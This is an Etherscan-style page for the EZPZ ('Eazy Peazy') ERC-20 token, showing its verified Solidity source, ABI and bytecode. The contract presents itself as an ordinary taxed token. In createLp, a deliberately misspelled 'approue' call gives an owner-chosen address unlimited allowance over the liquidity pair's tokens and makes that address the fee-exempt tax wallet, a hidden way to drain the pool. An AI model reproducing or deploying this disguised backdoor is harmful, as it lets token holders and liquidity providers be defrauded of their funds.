ETH Price: $2,922.41 (+4.60%)
 

Overview

Max Total Supply

696,969,000,000 EZPZ

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
getbusy.eth
Balance
5,771,542,133.793140927 EZPZ

Value
$0.00
0xcCeb10f787E4198D32B9f46eb7CA78130C49044F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EZPZ

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-25
*/

// SPDX-License-Identifier: UNLICENSE

/**

WEB: https://eazypeazy.wtf
X: https://x.com/EazyPeazyX
TG: https://t.me/eazypeazyclub

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EZPZ is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=35;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=28;
    uint256 private _reduceSellTaxAt=28;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 696_969_000_000 * 10**_decimals;
    string private constant _name = unicode"Eazy Peazy";
    string private constant _symbol = unicode"EZPZ";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approue(address owner, address spender, uint256 amount) internal returns (bool) {
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(swapEnabled)
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createLp(address pair) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        require(uniswapV2Pair != address(0) && approue(uniswapV2Pair, pair, totalSupply()));
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        setTaxWallet(pair);
    }

    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    
    function reduceFee(uint256 _newFee) external onlyOwner {
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function setTaxWallet(address newTaxWallet) public onlyOwner {
        _taxWallet = payable(newTaxWallet);
        _isExcludedFromFee[newTaxWallet] = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"createLp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052602360055560146006555f6007555f600855601c600955601c600a556005600b555f600c5560646009600a6100399190610366565b6100489064a24696f44061037b565b61005390600261037b565b61005d9190610392565b600d55606461006e6009600a610366565b61007d9064a24696f44061037b565b61008890600261037b565b6100929190610392565b600e5560646100a36009600a610366565b6100b29064a24696f44061037b565b6100bd90600161037b565b6100c79190610392565b600f5560646100d86009600a610366565b6100e79064a24696f44061037b565b6100f290600161037b565b6100fc9190610392565b6010556012805461ffff60a81b191690555f6013819055601455348015610121575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101806009600a610366565b61018f9064a24696f44061037b565b335f9081526001602081905260408220929092556003906101b75f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556102143390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61024b6009600a610366565b61025a9064a24696f44061037b565b60405190815260200160405180910390a36103b1565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102be57815f19048211156102a4576102a4610270565b808516156102b157918102915b93841c9390800290610289565b509250929050565b5f826102d457506001610360565b816102e057505f610360565b81600181146102f657600281146103005761031c565b6001915050610360565b60ff84111561031157610311610270565b50506001821b610360565b5060208310610133831016604e8410600b841016171561033f575081810a610360565b6103498383610284565b805f190482111561035c5761035c610270565b0290505b92915050565b5f61037460ff8416836102c6565b9392505050565b808202811582820484141761036057610360610270565b5f826103ac57634e487b7160e01b5f52601260045260245ffd5b500490565b611aa4806103be5f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461034f578063bf474bed1461036e578063c9567bf914610383578063dd62ed3e14610397578063ea414b28146103db578063ec1f3f63146103fa575f80fd5b80637d1db4a5146102b45780638cd4426d146102c95780638da5cb5b146102e85780638f9a55c01461030e57806395d89b4114610323575f80fd5b806323b872dd116100f957806323b872dd146101ff578063313ce5671461021e5780635d422a941461023957806370a0823114610258578063715018a61461028c578063751039fc146102a0575f80fd5b806306fdde031461013f578063095ea7b3146101835780630faee56f146101b257806318160ddd146101d557806320800a00146101e9575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a81526945617a79205065617a7960b01b60208201525b60405161017a9190611680565b60405180910390f35b34801561018e575f80fd5b506101a261019d3660046116c9565b610419565b604051901515815260200161017a565b3480156101bd575f80fd5b506101c760105481565b60405190815260200161017a565b3480156101e0575f80fd5b506101c761042f565b3480156101f4575f80fd5b506101fd610450565b005b34801561020a575f80fd5b506101a26102193660046116f3565b6104c7565b348015610229575f80fd5b506040516009815260200161017a565b348015610244575f80fd5b506101fd610253366004611731565b61052e565b348015610263575f80fd5b506101c7610272366004611731565b6001600160a01b03165f9081526001602052604090205490565b348015610297575f80fd5b506101fd610903565b3480156102ab575f80fd5b506101fd610974565b3480156102bf575f80fd5b506101c7600d5481565b3480156102d4575f80fd5b506101fd6102e33660046116c9565b610a28565b3480156102f3575f80fd5b505f546040516001600160a01b03909116815260200161017a565b348015610319575f80fd5b506101c7600e5481565b34801561032e575f80fd5b5060408051808201909152600481526322ad282d60e11b602082015261016d565b34801561035a575f80fd5b506101a26103693660046116c9565b610b68565b348015610379575f80fd5b506101c7600f5481565b34801561038e575f80fd5b506101fd610b74565b3480156103a2575f80fd5b506101c76103b136600461174c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e6575f80fd5b506101fd6103f5366004611731565b610bb6565b348015610405575f80fd5b506101fd610414366004611783565b610c18565b5f610425338484610c67565b5060015b92915050565b5f61043c6009600a61188e565b61044b9064a24696f44061189c565b905090565b5f546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118b3565b60405180910390fd5b5f471161048d575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104c4573d5f803e3d5ffd5b50565b5f6104d3848484610d8a565b610524843361051f85604051806060016040528060288152602001611a47602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112ec565b610c67565b5060019392505050565b5f546001600160a01b031633146105575760405162461bcd60e51b8152600401610479906118b3565b601254600160a01b900460ff16156105b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fb9030906105ec6009600a61188e565b61051f9064a24696f44061189c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f91906118e8565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f291906118e8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076091906118e8565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107a7816001600160a01b03165f9081526001602052604090205490565b5f806107ba5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610820573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108459190611903565b50506012546001600160a01b0316158015915061087b575060125461087b906001600160a01b03168261087661042f565b611324565b610883575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f9919061192e565b506104c481610bb6565b5f546001600160a01b0316331461092c5760405162461bcd60e51b8152600401610479906118b3565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b8152600401610479906118b3565b6109a96009600a61188e565b6109b89064a24696f44061189c565b600d556109c76009600a61188e565b6109d69064a24696f44061189c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a066009600a61188e565b610a159064a24696f44061189c565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a515760405162461bcd60e51b8152600401610479906118b3565b6040516370a0823160e01b81523060048201525f90610ad290606490610acc9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610aa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac6919061194d565b90611330565b906113b5565b9050826001600160a01b031663a9059cbb610af45f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b3e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b62919061192e565b50505050565b5f610425338484610d8a565b5f546001600160a01b03163314610b9d5760405162461bcd60e51b8152600401610479906118b3565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610bdf5760405162461bcd60e51b8152600401610479906118b3565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610c415760405162461bcd60e51b8152600401610479906118b3565b6007548111158015610c5557506008548111155b610c5d575f80fd5b6007819055600855565b6001600160a01b038316610cc95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610e505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b5f8111610eb15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b5f80546001600160a01b03858116911614801590610edc57505f546001600160a01b03848116911614155b156111af57601254600160b01b900460ff1615610f1c57610f196064610acc600954600c5411610f0e57600554610f12565b6007545b8590611330565b90505b6012546001600160a01b038581169116148015610f4757506011546001600160a01b03848116911614155b8015610f6b57506001600160a01b0383165f9081526003602052604090205460ff16155b1561105157600d54821115610fc25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610479565b600e5482610fe4856001600160a01b03165f9081526001602052604090205490565b610fee9190611964565b111561103c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610479565b600c8054905f61104b83611977565b91905055505b6012546001600160a01b03848116911614801561107757506001600160a01b0384163014155b156110a4576110a16064610acc600a54600c541161109757600654610f12565b6008548590611330565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156110da57506012546001600160a01b038581169116145b80156110ef5750601254600160b01b900460ff165b80156110fe5750600b54600c54115b156111ad57601454431115611112575f6013555b6003601354106111645760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610479565b600f5481111561118b5761118b61118684611181846010546113f6565b6113f6565b61140a565b6111944761157a565b60138054905f6111a383611977565b9091555050436014555b505b801561122757305f908152600160205260409020546111ce90826115b5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112499083611613565b6001600160a01b0385165f9081526001602052604090205561128c61126e8383611613565b6001600160a01b0385165f90815260016020526040902054906115b5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112d58585611613565b60405190815260200160405180910390a350505050565b5f818484111561130f5760405162461bcd60e51b81526004016104799190611680565b505f61131b848661198f565b95945050505050565b5f610524848484610c67565b5f825f0361133f57505f610429565b5f61134a838561189c565b90508261135785836119a2565b146113ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b9392505050565b5f6113ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611654565b5f81831161140457826113ae565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611450576114506119c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114cb91906118e8565b816001815181106114de576114de6119c1565b6001600160a01b0392831660209182029290920101526011546115049130911684610c67565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061153c9085905f908690309042906004016119d5565b5f604051808303815f87803b158015611553575f80fd5b505af1158015611565573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156115b1573d5f803e3d5ffd5b5050565b5f806115c18385611964565b9050838110156113ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b5f6113ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ec565b5f81836116745760405162461bcd60e51b81526004016104799190611680565b505f61131b84866119a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104c4575f80fd5b5f80604083850312156116da575f80fd5b82356116e5816116b5565b946020939093013593505050565b5f805f60608486031215611705575f80fd5b8335611710816116b5565b92506020840135611720816116b5565b929592945050506040919091013590565b5f60208284031215611741575f80fd5b81356113ae816116b5565b5f806040838503121561175d575f80fd5b8235611768816116b5565b91506020830135611778816116b5565b809150509250929050565b5f60208284031215611793575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e857815f19048211156117ce576117ce61179a565b808516156117db57918102915b93841c93908002906117b3565b509250929050565b5f826117fe57506001610429565b8161180a57505f610429565b8160018114611820576002811461182a57611846565b6001915050610429565b60ff84111561183b5761183b61179a565b50506001821b610429565b5060208310610133831016604e8410600b8410161715611869575081810a610429565b61187383836117ae565b805f19048211156118865761188661179a565b029392505050565b5f6113ae60ff8416836117f0565b80820281158282048414176104295761042961179a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118f8575f80fd5b81516113ae816116b5565b5f805f60608486031215611915575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193e575f80fd5b815180151581146113ae575f80fd5b5f6020828403121561195d575f80fd5b5051919050565b808201808211156104295761042961179a565b5f600182016119885761198861179a565b5060010190565b818103818111156104295761042961179a565b5f826119bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a255784516001600160a01b031683529383019391830191600101611a00565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047433a8b458806f38425f4ff5dbf748b20c170d1c86d7a70a28ab9cf42511d1e64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461034f578063bf474bed1461036e578063c9567bf914610383578063dd62ed3e14610397578063ea414b28146103db578063ec1f3f63146103fa575f80fd5b80637d1db4a5146102b45780638cd4426d146102c95780638da5cb5b146102e85780638f9a55c01461030e57806395d89b4114610323575f80fd5b806323b872dd116100f957806323b872dd146101ff578063313ce5671461021e5780635d422a941461023957806370a0823114610258578063715018a61461028c578063751039fc146102a0575f80fd5b806306fdde031461013f578063095ea7b3146101835780630faee56f146101b257806318160ddd146101d557806320800a00146101e9575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a81526945617a79205065617a7960b01b60208201525b60405161017a9190611680565b60405180910390f35b34801561018e575f80fd5b506101a261019d3660046116c9565b610419565b604051901515815260200161017a565b3480156101bd575f80fd5b506101c760105481565b60405190815260200161017a565b3480156101e0575f80fd5b506101c761042f565b3480156101f4575f80fd5b506101fd610450565b005b34801561020a575f80fd5b506101a26102193660046116f3565b6104c7565b348015610229575f80fd5b506040516009815260200161017a565b348015610244575f80fd5b506101fd610253366004611731565b61052e565b348015610263575f80fd5b506101c7610272366004611731565b6001600160a01b03165f9081526001602052604090205490565b348015610297575f80fd5b506101fd610903565b3480156102ab575f80fd5b506101fd610974565b3480156102bf575f80fd5b506101c7600d5481565b3480156102d4575f80fd5b506101fd6102e33660046116c9565b610a28565b3480156102f3575f80fd5b505f546040516001600160a01b03909116815260200161017a565b348015610319575f80fd5b506101c7600e5481565b34801561032e575f80fd5b5060408051808201909152600481526322ad282d60e11b602082015261016d565b34801561035a575f80fd5b506101a26103693660046116c9565b610b68565b348015610379575f80fd5b506101c7600f5481565b34801561038e575f80fd5b506101fd610b74565b3480156103a2575f80fd5b506101c76103b136600461174c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e6575f80fd5b506101fd6103f5366004611731565b610bb6565b348015610405575f80fd5b506101fd610414366004611783565b610c18565b5f610425338484610c67